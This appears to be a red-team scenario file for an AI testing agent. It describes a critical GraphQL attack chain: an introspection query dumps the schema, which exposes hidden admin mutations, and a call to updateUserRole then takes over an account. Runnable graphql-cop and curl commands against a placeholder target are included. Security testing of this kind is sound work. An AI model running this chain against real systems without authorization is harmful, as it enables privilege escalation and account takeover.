---
name: rt-scenario-a005
description: "Scenario A005 — API: GraphQL introspection enabled in production → hidden admin mutations discovered → full account takeover via updateUserRole."
---

# Scenario A005: GraphQL Introspection → Admin Mutation Abuse

**Domain**: API Security — GraphQL | **Severity**: Critical | **CVSS**: 9.0

## Chain
```
POST /graphql with introspection query → dump full schema →
find hidden admin mutations → call updateUserRole(id:1, role:"admin") →
full admin access
```

## Key Test
```bash
# Introspection query
docker exec rtexit-kali bash -c "
graphql-cop -t https://{target}/graphql -o /workspace/findings/graphql.json

# Manual introspection
curl -X POST https://{target}/graphql \
  -H 'Content-Type: application/json' \
  -d '{\"query\":\"{__schema{types{name fields{name}}}}\"}'"

# Look for: admin, internal, debug, delete in mutation names
```
→ `rt-exploit-graphql` → `rt-exploit-api`
